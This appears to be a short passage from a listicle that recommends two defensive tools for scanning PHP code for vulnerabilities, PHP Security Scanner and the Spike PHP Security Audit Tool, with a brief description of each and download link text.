- PHP Security Scanner

This is a tool used to scan PHP code for vulnerabilities, and it can be used to scan any directory. PHP Security Scanner features a useful UI for better visualization of potential problems, and it supports basic wild card search functionality for filtering directories or files that are to be searched.

Download PHP Security Scanner Here

- Spike PHP Security Audit Tool

The Spike PHP Security Audit Tool is an open source solution for doing static analysis of PHP code. It will search for security exploits, so you can correct them during the development process.

Download Spike PHP Security Audit Tool Here